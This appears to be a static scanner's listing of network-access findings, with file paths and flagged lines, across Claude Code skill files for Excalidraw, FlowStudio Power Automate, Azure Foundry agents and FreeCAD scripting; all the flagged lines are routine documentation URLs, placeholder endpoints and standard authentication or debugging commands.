- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/claude-code/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw
harness/claude-code/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw
harness/claude-code/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw
harness/claude-code/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/claude-code/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw
harness/claude-code/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw
harness/claude-code/skills/eyeball/tools/eyeball.py
harness/claude-code/skills/finnish-humanizer/SKILL.md
- Network accessline 120
- [Hakku/finnish-humanizer](https://github.com/Hakku/finnish-humanizer)
harness/claude-code/skills/flowstudio-power-automate-build/SKILL.md
- Network accessline 26
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 27
- Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`. - Network accessline 36
3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"` - Network accessline 37
4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a - Network accessline 38
5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition[" - Network accessline 146
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 147
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 148
- [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)
harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md
- Network accessline 26
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 27
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 28
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 70
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 71
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 72
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 100
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 101
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 102
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 124
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 125
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList", - Network accessline 126
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 153
"connectionName": "<connectionName>", "operationId": "CreateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 154
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "folderPath": "/My Library/Subfolder", - Network accessline 155
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 167
"connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 168
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "path": "/My Library/Subfolder/@{variables('filename')}" - Network accessline 169
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 179
"connectionName": "<connectionName>", "operationId": "UpdateFile" }, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 180
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']", - Network accessline 181
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 222
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 223
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "<list-guid>", - Network accessline 224
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 269
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 270
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/target-site", "parameters/method": "POST", - Network accessline 271
"dataset": "https://mytenant.sharepoint.com/sites/target-site", - Network accessline 315
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 316
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "%252fShared%2bDocuments%252fdata.json", - Network accessline 317
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-core.md
- Network accessline 170
"inputs": { "method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 171
"method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" } - Network accessline 172
"uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 233
"inputs": { "method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 234
"method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" } - Network accessline 235
"uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 364
"Start_Job": { "type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 365
"type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } }, - Network accessline 366
"inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 384
"type": "Http", "runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 385
"runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } }, - Network accessline 386
"inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 435
"type": "Http", "runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 436
"runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } }, - Network accessline 437
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 440
"type": "Http", "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } - Network accessline 441
"runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } } - Network accessline 442
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-data.md
- Network accessline 312
"inputs": { "method": "POST", "uri": "https://api.example.com/endpoint", - Network accessline 313
"method": "POST", "uri": "https://api.example.com/endpoint", "headers": { - Network accessline 314
"uri": "https://api.example.com/endpoint", - Network accessline 342
"inputs": { "method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 343
"method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", "headers": { - Network accessline 344
"uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 349
"authentication": { "type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", - Network accessline 350
"type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", "tenant": "<tenant-id>", - Network accessline 351
"authority": "https://login.microsoftonline.com", - Network accessline 352
"tenant": "<tenant-id>", "audience": "https://graph.microsoft.com", "clientId": "<app-registration-id>", - Network accessline 353
"audience": "https://graph.microsoft.com", - Network accessline 429
"inputs": { "method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", - Network accessline 430
"method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", "headers": { "Content-Type" - Network accessline 431
"uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
harness/claude-code/skills/flowstudio-power-automate-build/references/build-patterns.md
harness/claude-code/skills/flowstudio-power-automate-build/references/flow-schema.md
- Network accessline 10
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 11
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 210
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 211
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
harness/claude-code/skills/flowstudio-power-automate-build/references/trigger-types.md
- Network accessline 140
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 141
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 142
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 146
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 147
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 148
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 170
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 171
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 172
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 176
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 177
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 178
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/claude-code/skills/flowstudio-power-automate-debug/SKILL.md
- Network accessline 26
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 27
- Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 139
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 140
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 141
- [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md) - Network accessline 142
- [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md) - Network accessline 143
- [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)
harness/claude-code/skills/flowstudio-power-automate-governance/SKILL.md
- Network accessline 8
audit security, or write governance metadata to FlowStudio. metadata: source: "https://mcp.flowstudio.app." - Network accessline 9
metadata: source: "https://mcp.flowstudio.app." --- - Network accessline 10
source: "https://mcp.flowstudio.app." - Network accessline 29
- Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point - Network accessline 140
- [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit - Network accessline 141
- [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish - Network accessline 142
- [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - Network accessline 147
- [FlowStudio MCP](https://mcp.flowstudio.app.) - Network accessline 148
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
harness/claude-code/skills/flowstudio-power-automate-mcp/SKILL.md
- Network accessline 27
- Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app. - Network accessline 28
- MCP endpoint: `https://mcp.flowstudio.app/mcp`. - Network accessline 88
Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati - Network accessline 95
[Credential-related source omitted] - Network accessline 96
MCP = "https://mcp.flowstudio.app/mcp" - Network accessline 99
payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid, "params": {"name": tool, "arguments": args}} req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 100
[Credential-related source omitted] - Network accessline 101
req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 103
"User-Agent": "FlowStudio-MCP/1.0"}) try: resp = urllib.request.urlopen(req, timeout=120) - Network accessline 104
try: resp = urllib.request.urlopen(req, timeout=120) except urllib.error.HTTPError as e: - Network accessline 105
resp = urllib.request.urlopen(req, timeout=120) - Network accessline 119
[Credential-related source omitted] - Network accessline 120
const MCP = "https://mcp.flowstudio.app/mcp"; - Network accessline 127
params: { name: tool, arguments: args }, }; const res = await fetch(MCP, { - Network accessline 128
}; const res = await fetch(MCP, { method: "POST", - Network accessline 129
const res = await fetch(MCP, { - Network accessline 164
| Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 165
| --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont - Network accessline 166
| HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 229
**Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 230
**Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 249
- [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`. - Network accessline 258
- FlowStudio MCP: https://mcp.flowstudio.app - Network accessline 259
- FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp - Network accessline 260
- FlowStudio MCP subscription page: https://mcp.flowstudio.app. - Network accessline 261
- Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md - Network accessline 262
- Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md - Network accessline 263
- Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md
harness/claude-code/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md
- Network accessline 6
Endpoint: https://mcp.flowstudio.app/mcp
harness/claude-code/skills/flowstudio-power-automate-monitoring/SKILL.md
- Network accessline 31
> 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 32
> 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in - Network accessline 33
> 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 64
**Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 66
([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 129
"state": "Started", "triggerType": "Request", "triggerUrl": "https://{example-url}", - Network accessline 130
"triggerType": "Request", "triggerUrl": "https://{example-url}", "tags": ["#operations", "#sensitive"], - Network accessline 131
"triggerUrl": "https://{example-url}", - Network accessline 405
- [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 406
- [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 415
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing) - Network accessline 416
- [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)
harness/claude-code/skills/foundry-agent-sync/SKILL.md
- Network accessline 60
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 61
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 62
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 79
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 80
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 81
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 89
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 119
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 120
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 121
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 147
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 148
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 149
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 158
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 159
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 160
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/claude-code/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 58
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 60
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/claude-code/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/claude-code/skills/freecad-scripts/SKILL.md
- Network accessline 201
- [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code) - Network accessline 202
- [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects) - Network accessline 203
- [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements) - Network accessline 204
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 205
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 206
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 207
- [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29) - Network accessline 208
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 209
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 210
- [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 211
- [Gui Command](https://wiki.freecad.org/Gui_Command)
harness/claude-code/skills/freecad-scripts/references/geometry-and-shapes.md
- Network accessline 7
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 8
- [Part scripting](https://wiki.freecad.org/Part_scripting) - Network accessline 9
- [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting) - Network accessline 10
- [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting) - Network accessline 11
- [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part) - Network accessline 12
- [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting) - Network accessline 13
- [Drawing API example](https://wiki.freecad.org/Drawing_API_example) - Network accessline 14
- [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1) - Network accessline 15
- [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2) - Network accessline 16
- [Line drawing function](https://wiki.freecad.org/Line_drawing_function)
harness/claude-code/skills/freecad-scripts/references/gui-and-interface.md
- Network accessline 7
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 8
- [Gui Command](https://wiki.freecad.org/Gui_Command) - Network accessline 9
- [Define a command](https://wiki.freecad.org/Command) - Network accessline 10
- [PySide](https://wiki.freecad.org/PySide) - Network accessline 11
- [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples) - Network accessline 12
- [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples) - Network accessline 13
- [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples) - Network accessline 14
- [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets) - Network accessline 15
- [Interface creation](https://wiki.freecad.org/Interface_creation) - Network accessline 16
- [Dialog creation](https://wiki.freecad.org/Dialog_creation) - Network accessline 17
- [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets) - Network accessline 18
- [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files) - Network accessline 19
- [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors) - Network accessline 20
- [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF) - Network accessline 21
- [Qt Example](https://wiki.freecad.org/Qt_Example) - Network accessline 22
- [3D view](https://wiki.freecad.org/3D_view) - Network accessline 23
- [The Coin scenegraph](https://wiki.freecad.org/Scenegraph) - Network accessline 24
- [Pivy](https://wiki.freecad.org/Pivy)
harness/claude-code/skills/freecad-scripts/references/parametric-objects.md
- Network accessline 7
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 8
- [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I) - Network accessline 9
- [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II) - Network accessline 10
- [Scripted objects](https://wiki.freecad.org/Scripted_objects) - Network accessline 11
- [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes) - Network accessline 12
- [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration) - Network accessline 13
- [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment) - Network accessline 14
- [Viewprovider](https://wiki.freecad.org/Viewprovider) - Network accessline 15
- [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view) - Network accessline 16
- [Properties](https://wiki.freecad.org/Property) - Network accessline 17
- [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList) - Network accessline 18
- [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)
harness/claude-code/skills/freecad-scripts/references/scripting-fundamentals.md
- Network accessline 7
- [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction) - Network accessline 8
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 9
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 10
- [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 11
- [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros) - Network accessline 12
- [Working with macros](https://wiki.freecad.org/Macros) - Network accessline 13
- [Code snippets](https://wiki.freecad.org/Code_snippets) - Network accessline 14
- [Debugging](https://wiki.freecad.org/Debugging) - Network accessline 15
- [Profiling](https://wiki.freecad.org/Profiling) - Network accessline 16
- [Python development environment](https://wiki.freecad.org/Python_Development_Environment) - Network accessline 17
- [Extra python modules](https://wiki.freecad.org/Extra_python_modules) - Network accessline 18
- [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library) - Network accessline 19
- [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD) - Network accessline 20
- [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui) - Network accessline 21
- [Macro at startup](https://wiki.freecad.org/Macro_at_Startup) - Network accessline 22
- [How to install macros](https://wiki.freecad.org/How_to_install_macros) - Network accessline 23
- [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration) - Network accessline 24
- [Quantity](https://wiki.freecad.org/Quantity)
harness/claude-code/skills/freecad-scripts/references/workbenches-and-advanced.md
- Network accessline 7
- [Workbench creation](https://wiki.freecad.org/Workbench_creation) - Network accessline 8
- [Script tutorial](https://wiki.freecad.org/Scripts) - Network accessline 9
- [Macros recipes](https://wiki.freecad.org/Macros_recipes) - Network accessline 10
- [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python) - Network accessline 11
- [Path scripting](https://wiki.freecad.org/Path_scripting) - Network accessline 12
